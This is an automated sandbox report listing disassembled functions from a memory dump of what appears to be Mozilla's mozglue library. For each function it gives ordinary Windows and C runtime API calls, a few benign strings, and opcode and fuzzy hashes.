Function 6C3714A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3714C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3714E2
GetCurrentThreadId.KERNEL32 ref: 6C371546
InitializeConditionVariable.KERNEL32(?), ref: 6C3715BA
free.MOZGLUE(?), ref: 6C3716B4

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: be3116a9e89a22b90bbafc4b88a9e82ab1dd436ec07cae57e90cd5e6a97fdfae
Instruction ID: ca9401ef30a3338635976a7255d9eab912c5b8229a796243719895974c6808f1
Opcode Fuzzy Hash: be3116a9e89a22b90bbafc4b88a9e82ab1dd436ec07cae57e90cd5e6a97fdfae
Instruction Fuzzy Hash: B161E172A007549BDB218F25C890BDEB7B5BF89308F44851CED8A57701EB35E958CFA2

Function 6C369F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C369FDB
free.MOZGLUE(?,?), ref: 6C369FF0
free.MOZGLUE(?,?), ref: 6C36A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C36A0BE
free.MOZGLUE(?,?), ref: 6C36A0D5
free.MOZGLUE(?,?), ref: 6C36A0EB

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: dd6fbced49540feefc20973d4d46592bb82e5651ba5484af43534c659ea51e6d
Instruction ID: 27456fcf348b87feac63bb3643381cf02b774e7b9f1bdf7afeecb3ce03fa5423
Opcode Fuzzy Hash: dd6fbced49540feefc20973d4d46592bb82e5651ba5484af43534c659ea51e6d
Instruction Fuzzy Hash: BE61DF754087519FC711CF19C48059AB3F5FF88329F109659E8999BB02EB32E986CFC2

Function 6C36DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C36DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C36D38A,?), ref: 6C36DC6F
free.MOZGLUE(?,?,?,?,?,6C36D38A,?), ref: 6C36DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C36D38A,?), ref: 6C36DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C36D38A,?), ref: 6C36DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C36D38A,?), ref: 6C36DD4A

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 9ae3b4c7a2e73ab4378c3cfcdf680ae7bdc47c329ab30c4afebf33d2ecba2a22
Instruction ID: 7c3c2026fc425c08b3101ba44fcc8117fe8eef491a5ace003cf7d5c203ec2ba0
Opcode Fuzzy Hash: 9ae3b4c7a2e73ab4378c3cfcdf680ae7bdc47c329ab30c4afebf33d2ecba2a22
Instruction Fuzzy Hash: 08415CB5A00615CFCB00DF9AC88099AB7FAFF89318B654569D945ABB15E772FC00CF90

Function 6C36C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C36C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C36C842

Part of subcall function 6C36CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C38B5EB,00000000), ref: 6C36CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C36C863
std::_Facet_Register.LIBCPMT ref: 6C36C875

Part of subcall function 6C34B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C38B636,?), ref: 6C34B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C36C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C36C8BC

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 02c95cc891b34fadfb33ded33401f9cd6c630455dc1aa6d4d939d364e2eaa12b
Instruction ID: ba38cefcb619296a4e0c839c450566289e866d48247fadf1b79445abbe5b9195
Opcode Fuzzy Hash: 02c95cc891b34fadfb33ded33401f9cd6c630455dc1aa6d4d939d364e2eaa12b
Instruction Fuzzy Hash: 42118675B002059BCF10EFA5D8858AEBBB9FF89359F140129E5069B751EB319904CFA1

Function 6C34F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C34F480

Part of subcall function 6C31F100: LoadLibraryW.KERNEL32(shell32,?,6C38D020), ref: 6C31F122
Part of subcall function 6C31F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C31F132

CloseHandle.KERNEL32(00000000), ref: 6C34F555

Part of subcall function 6C3214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C321248,6C321248,?), ref: 6C3214C9
Part of subcall function 6C3214B0: memcpy.VCRUNTIME140(?,6C321248,00000000,?,6C321248,?), ref: 6C3214EF

Part of subcall function 6C31EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C31EEE3

CreateFileW.KERNEL32 ref: 6C34F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C34F523

Strings

\oleacc.dll, xrefs: 6C34F4CB

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: dc7a0c3c346c8c9cce435e3eab7bc6736a66471cb57971dfa5f1d35a9b148b76
Instruction ID: 2eed2eef7e1390098285779bf56b12ba8199926796533e4fd4921a84fff9d1fe
Opcode Fuzzy Hash: dc7a0c3c346c8c9cce435e3eab7bc6736a66471cb57971dfa5f1d35a9b148b76
Instruction Fuzzy Hash: 0141B0306087109FE720DF69C884B9BB7F8AF89318F104A5CF59587650EB71E949CFA2

Function 6C35E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35E04F

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C35E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C35E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C35E057

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: e0e4816178f543f6c9a913ac8421354ea1ed47a0e35c0225da7a0286af1f89c2
Instruction ID: af15591eb4057c6c9f0b4602ec28b941b43ac9ec3858a1221f66c13edaedb820
Opcode Fuzzy Hash: e0e4816178f543f6c9a913ac8421354ea1ed47a0e35c0225da7a0286af1f89c2
Instruction Fuzzy Hash: BF21C574B002088FDF04DF65D858AEEB7B9AF4520CF944014EC4A97740EB369919CFE2

Function 6C3774A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C377526
__Init_thread_footer.LIBCMT ref: 6C377566
__Init_thread_footer.LIBCMT ref: 6C377597

Strings

kernel32.dll, xrefs: 6C377557
UnmapViewOfFile2, xrefs: 6C377552

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 51d39aae44c525ab64b1e9e4c78a1871b6cbfbcdba7040adde4bbc75d673c99a
Instruction ID: 5bf42659acc1aee17ef7f2b9194dbf70f683bcba4a643307586fe2d7bb98f75f
Opcode Fuzzy Hash: 51d39aae44c525ab64b1e9e4c78a1871b6cbfbcdba7040adde4bbc75d673c99a
Instruction Fuzzy Hash: 12210A31700501A7CF258FE5D854ED933BDEB4B7B8B104528F80647B40E77AA8118EBA

Function 6C37A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39F770,-00000001,?,6C38E330,?,6C33BDF7), ref: 6C37A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C33BDF7), ref: 6C37A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C33BDF7), ref: 6C37A7E4
LeaveCriticalSection.KERNEL32(6C39F770), ref: 6C37A80A

Strings

accelerator.dll, xrefs: 6C37A7BF

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5543f298d2720eba806f3256d948333286c1125d19ea7dc060115b1ca8f5f2be
Instruction ID: 17944ca9a2f42269489cdbee3de8ea47e2157718ae9c5ef509062b40c34f0514
Opcode Fuzzy Hash: 5543f298d2720eba806f3256d948333286c1125d19ea7dc060115b1ca8f5f2be
Instruction Fuzzy Hash: 6C017C706003049F9F049F9AE88481177B8EB89754704806AE9098B701EBB6D800CFA1

Function 6C3775B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C37748B,?), ref: 6C3775B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C3775D7
FreeLibrary.KERNEL32(?,6C37748B,?), ref: 6C3775EC

Strings

RtlNtStatusToDosError, xrefs: 6C3775D1
ntdll.dll, xrefs: 6C3775B3

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 4c8018ff31c0c8919e8653d94dfb80add89016cef253df11d4c7b0f2fef32755
Instruction ID: 4cb794fadd9db2884ff9cb6c48b7502cb8e686ed19dae002b97fe0d460930d06
Opcode Fuzzy Hash: 4c8018ff31c0c8919e8653d94dfb80add89016cef253df11d4c7b0f2fef32755
Instruction Fuzzy Hash: E5E0B675A00302ABEF11AFA2E8487017AFCEB0B398F105429F905D5600FBFB8052CF24

Function 6C377600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C377592), ref: 6C377608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C377627
FreeLibrary.KERNEL32(?,6C377592), ref: 6C37763C

Strings

NtUnmapViewOfSection, xrefs: 6C377621
ntdll.dll, xrefs: 6C377603

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: f5849016c117d0aea78ee49dee2a26f107f6da7d880b7e93a121306d98b9fc0b
Instruction ID: 2924cac432f7549a7b277fdfd6779b54f15d01ab66f7d16cf54991c382a7b6d1
Opcode Fuzzy Hash: f5849016c117d0aea78ee49dee2a26f107f6da7d880b7e93a121306d98b9fc0b
Instruction Fuzzy Hash: 72E092B4A00301ABDF11AFA6A8487457ABCE71F299F004119F905D5600F7BBC4008F28

Function 6C37BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C37BE49), ref: 6C37BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C37BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C37BE49), ref: 6C37BF38
RtlReAllocateHeap.NTDLL ref: 6C37BF83
RtlFreeHeap.NTDLL(6C37BE49,00000000), ref: 6C37BFA6

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: bf10176a7d23ed4416e9f54f82648a2cb2106379c2e6e886b72bc58571bde6b9
Instruction ID: 9f77755577b1e55db33b2b5a20458ffa23cdc1c1dffe0210276d104f8e7baf3e
Opcode Fuzzy Hash: bf10176a7d23ed4416e9f54f82648a2cb2106379c2e6e886b72bc58571bde6b9
Instruction Fuzzy Hash: 4051A171A002058FE720CF68CC80B9AB3B6FF88318F294639D555ABB54D735F9068FA4

Function 6C368E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?,6C38D734), ref: 6C368E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?,6C38D734), ref: 6C368EBF
free.MOZGLUE(?,?,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?), ref: 6C368F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?,6C38D734), ref: 6C368F46
free.MOZGLUE(?,?,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?), ref: 6C368F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?), ref: 6C368F8F

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0a6c0509c984db672d071480791d7f93f6fc2bce193f16b705ab843c355a55e5
Instruction ID: 0b8df8d304b622ba68b587f719e88e07655090cc73721cc489ef2ed12f6f44c7
Opcode Fuzzy Hash: 0a6c0509c984db672d071480791d7f93f6fc2bce193f16b705ab843c355a55e5
Instruction Fuzzy Hash: CF51B6B1A012158FEB14CF54E8807AE73B6FF4A718F15052AD916ABB44E732F904CF92

Function 6C3627E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36289A
free.MOZGLUE(?,?,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C3628F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C362910
free.MOZGLUE(00000001,?,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36294E

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 651ed72d3900eeedc77436f87fb24c6b7fce1ffed466be8ee915094b5bba7106
Instruction ID: 68f484fdd21526560f0914932762e78b28df70b40b5d22aa0da52f35ea56f293
Opcode Fuzzy Hash: 651ed72d3900eeedc77436f87fb24c6b7fce1ffed466be8ee915094b5bba7106
Instruction Fuzzy Hash: EA41B1B1A002068FEB14CF69D98876A73FAAB85308F160539D557EBB44E733E914CF61

Function 6C31CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E784), ref: 6C31CFF6
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C31D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C31D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C31D139

Strings

MOZ_CRASH(), xrefs: 6C31D187

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 86430becbb9e9d3d3c7d262d434b77dd9bd526c87c97b20c20839f2fbec36c9f
Instruction ID: c98fc214c9f67249a0cf21e84c5763cc499e5eabd1917129f46f528cae63cc09
Opcode Fuzzy Hash: 86430becbb9e9d3d3c7d262d434b77dd9bd526c87c97b20c20839f2fbec36c9f
Instruction Fuzzy Hash: 1C419172B053164FDB59CE6D8C903AA76B8FB4A714F140139E919E7B84E7B39C008BD2

Function 6C314DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C314E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C314E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C314EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C314F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C314F1E

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: fa873665ce9e65952ac5010e73cdb9bc54ae3abff9df9e15e16daed6c63ff3e7
Instruction ID: df843b8d379cbc998545322b7df0fda48f417f07a4fdd1ce0351e81a272ca1ef
Opcode Fuzzy Hash: fa873665ce9e65952ac5010e73cdb9bc54ae3abff9df9e15e16daed6c63ff3e7
Instruction Fuzzy Hash: CA41DF716087019FC709CF29C48095BB7E8BF89348F108A2DF4A597B41DB31E918CFA2

Function 6C37A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39F770), ref: 6C37A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C37A87B

Part of subcall function 6C37A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C37A88F,00000000), ref: 6C37A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C37A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C37A90C
LeaveCriticalSection.KERNEL32(6C39F770), ref: 6C37A97E

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

